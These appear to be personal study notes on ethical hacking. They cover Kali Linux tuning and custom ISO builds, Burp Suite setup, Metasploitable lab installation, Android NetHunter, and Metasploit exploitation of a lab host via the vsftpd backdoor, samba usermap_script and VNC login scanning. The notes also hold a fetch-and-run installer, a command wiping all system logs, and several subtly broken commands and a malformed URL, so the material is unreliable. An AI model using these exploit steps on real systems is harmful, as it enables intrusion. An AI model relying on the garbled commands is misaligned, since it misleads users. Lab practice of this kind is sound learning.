Ethical hacking is a practice of identifying and exposing vulnerabilities in computer systems, networks or applications to improve their security.
The goal of cyber security is to ensure systems work only as intended.
✅ Understand first then hack.
✅Don’t get intimidated by a scope, break it down into functions.
✅Don’t assume everything has been found.
✅Look for lesser known features.
✅Consistency is key to survival.
✅Your most powerful tool is patience. -
❗Hacking is 99% boredom, 1% terror.
✅Don’t learn to hack, hack to learn.
Varies depending on the sector.
Attack = Motive + Method + Vulnerability
📌 Hackers are not criminals, they are explorers and inventors.
📌 There exists no perfectly secure system.
📌 Secrecy is security.
Category | Roles |
---|---|
Offensive Operations |
|
Defensive Operations |
|
Leadership |
|
Incident Response & Threat Hunting |
|
Script kiddies(begginer)
Green hat(basic techniques)
Hacker group
Hactivist(advanced techniques)
Botnet hackers
Cyber terrorist
✅ Optimized performance (faster boot, reduced RAM usage)
✅ Reduced storage (removed unneeded tools)
✅ Customized networking & security settings.
❌ Kernel & system updates might introduce new settings that need re-tweaking.
❌ DNS and network settings might be reset unless locked.
Install LXQt (Lightweight alternative to XFCE)
$sudo apt install kali-desktop-lxqt -y
$sudo apt install openbox obconf obmenu -y
$sudo apt remove --purge kali-desktop-xfce -y
$sudo apt autoremove -y
Remove Unnecessary Tools & Packages
$dpkg --get-selections | grep kali
$sudo apt remove --purge kali-linux-forensic kali-linux-voip kali-linux-wireless -y
$sudo apt autoremove -y
To remove all Kali pre-installed tools and keep only the essentials:
$sudo apt remove --purge kali-linux-default -y
$sudo apt autoremove -y
📌If you only need specific tools, install them manually instead.
Check Running Services
$systemctl list-unit-files --type=service | grep enabled
Disable Unnecessary Services
$sudo systemctl disable $bluetooth.service
$sudo systemctl stop bluetooth.service
Disable NetworkManager-wait-online, which can slow down boot times
$sudo systemctl disable NetworkManager-wait-online.service
Remove Old Dependencies & Cached Packages
$sudo apt autoremove -y
$sudo apt clean -y
$sudo apt autoclean -y
Delete Log Files
$sudo rm -rf /var/log/*
$sudo journalctl --vacuum-time=7d
Check for Large unused Files & clear it
$sudo -sh /var/cache/apt
$sudo rm -rf /var/cache/apt/archives/*
Reduce RAM Usage & Improve Performance
Use ZRAM (Compressed Swap in RAM)
$sudo apt install zram-tools -y
$sudo systemctl enable --now zramswap.service
Reduce Swappiness
$echo 'vm.swappiness=10' | sudo tee -a /etc/sysctl.conf
$sudo sysctl -p
Disable Unnecessary Boot Services
$systemctl list-unit-files --type=service --state=enabled
Disable unnecessary services
$sudo systemctl disable <service-name>
Use Systemd-analyze to Check Boot Time
$systemd-analyze
$systemd-analyze blame
Use a Fast DNS Resolver, Edit /etc/resolv.conf:
$sudo nano /etc/resolv.conf
Replace with: nameserver 1.1.1.1 nameserver 8.8.8.8
Then, prevent automatic changes:
$sudo chattr +i /etc/resolv.conf
Instead of using GNOME Terminal, switch to Alacritty or Kitty:
$sudo apt install alacritty -y
Use a Minimal Kernel (Optional)
You can install a minimal kernel for lower RAM usage:
$sudo apt install linux-image-rt-amd64 -y
Reboot your system to apply all optimizations:
$sudo reboot
📌Reduced Storage Usage by removing unnecessary packages
📌Faster Boot Time by disabling unneeded services
📌Lower RAM Usage with ZRAM and swappiness tuning
📌Improved Network Speed with optimized DNS
Install live-build and Dependencies
$sudo apt update &&
$sudo apt install -y live-build cdebootstrap curl git
Clone the Kali Linux ISO Builder
$git clone https://gitlab.com/kalilinux/build-scripts/live-build-config.git
$cd live-build-config
Remove Unnecessary Packages
$nano kali-config/variant-default/package-lists/kali.list.chroot
Remove unnecessary tools: Delete lines for forensics, VoIP, and wireless tools if you don’t need them.
Add performance tools: Add ZRAM, a lightweight terminal, and network optimizations etc
zram-tools
Alacritty
Resolvconf
Save and exit (CTRL + X, then Y, then ENTER).
$nano kali-config/common/includes.chroot/etc/sysctl.conf
Add:
vm.swappiness=10
fs.inotify.max_user_watches=524288
net.core.default_qdisc=fq
net.ipv4.tcp_congestion_control=bbr
Save and exit.
Disable unnecessary services by creating a script
$nano kali-config/common/hooks/00-disable-services.chroot
Add:
#!/bin/bash
systemctl disable bluetooth.service
systemctl disable NetworkManager-wait-online.service
systemctl disable ModemManager.service
Save, then make it executable:
$chmod +x kali-config/common/hooks/00-disable-services.chroot
Run the following command to start the ISO build process:
$sudo ./build.sh --variant default --verbose
This will take some time depending on your system's performance.
Test Your Custom Kali ISO
Once the build is done, find your ISO in the images/ folder
$ls -lh images/
Now, test it in VMware or VirtualBox:
Create a new VM and select your custom ISO as the installation medium.
$sudo su
$passwd root
$sudo apt update && apt upgrade -y
Install graphics drivers i.e nividia
Install parrot metapackages
$sudo apt install parrot-tools-full
Install your preffered penetration testing tools i.e
Angry IP scanner
Nessus
1.Exploit
2.Payload
3.Modules
4.Listeners
5.Shellcodes
Metasploit Interfaces
1. MsfConsole
2. Armitage - GUI
$sudo apt install armitage
$service postresql start
$sudo armitage
$service metasploit start
Metasploit express - web interface
Meterpreter - remote shell
Firefox Setting >> Network Settings >> Manual Proxy 127.0.0.1:8080
BurpSuite proxy >> Proxy Settings >> Certificate (burp_cert.cre) Firefox settings >> Advanced Tab >> View Certificates >> Authorities >> Import
Scanner - automated scanning
Spider
Decoder - encode & decode
System requirements
65 GB available disk space
4.5 GB RAM
Vagrant
Vagrant reload plugin
Packer
Git clone metasploitable 3
Vmware
>Vagrant plugin install vagrant-vmware-desktop
>vagrant plugin install vagrant-reload
>vagrant box list
>vagrant box add rapid7/metasploitable3-win2k8 --provider vmware_desktop
>vagrant box remove rapid7/metasploitable3-ub1404 --provider vmware_desktop
>vagrant up OR >vagrant up win2k8
In vagrant directrory
>slmgr /rearm
>. \build.ps1
>. \build.ps1 windows2008 or Ubuntu 1404
Virtual box
>vagrant plugin install vagrant-vbguest
>vagrant plugin install vagrant-reload
>set-ExecutionPolicy Unrestricted
>.\build.ps1
>.\build.ps1 windows2008 or Ubuntu 1404
OR
>. \packer.exe build. \windows_10_choco.json
>Vagrant box add win10 windows_10_virtualbox.box
>cd win10
>vagrant init win10
>vagrant up
📌Default credentials are Username: Vagrant password : vagrant
Official website: Rapid 7 website
Windows 7/8/10/11
VT-x/AMD-V supported processor
Minimum of 30GB HDD space
Minimum of 4GB RAM
Default credentions are Username: msfadmin and Password: msfadmin
$ifconfig #run this on target machine (metasploitable 2)
$nmap -sV -O 172.16.225.128
$msfconsole
$msfconsole
msf6>search vsftpd
msf6>use exploit/unix/ftp/vsftpd_234_backdoor
msf6>set RHOST 172.16.225.128
msf6>run
metepreter>whoami
$msfconsole
>search vnc login
>use auxiliary/scanner/vnc/vnc_login
>set RHOST 172.16.225.128
>run
$vncviewer 172.16.225.128
$msfconsole
>search usermap script
>exploit/multi/samba/usermap_script
>set RHOST 172.16.225.128
>exploit
metepreter>whoami
Requirements/Tools
1.Island apk from playstore
2.Magisk
3.Termux
4.Kali Linux
5.Cometin
6. OEM enabled on Android developer options.
7.Fdroid
8.VNC
$adb reboot recovery
$adb devices
$adb sideload update.zip
$termux-setup-storage
$wget -O install-nethunter-termux https://offsec/zMcrZWr
$chmod +x install-nethunter-termux
$./install-nethunter-termux
$nethunter -r -> root access
$kex passwd -> set VNC password
$kex & -> launch VNC server
❗ YouTube hacking tutorials are for script kiddies 😅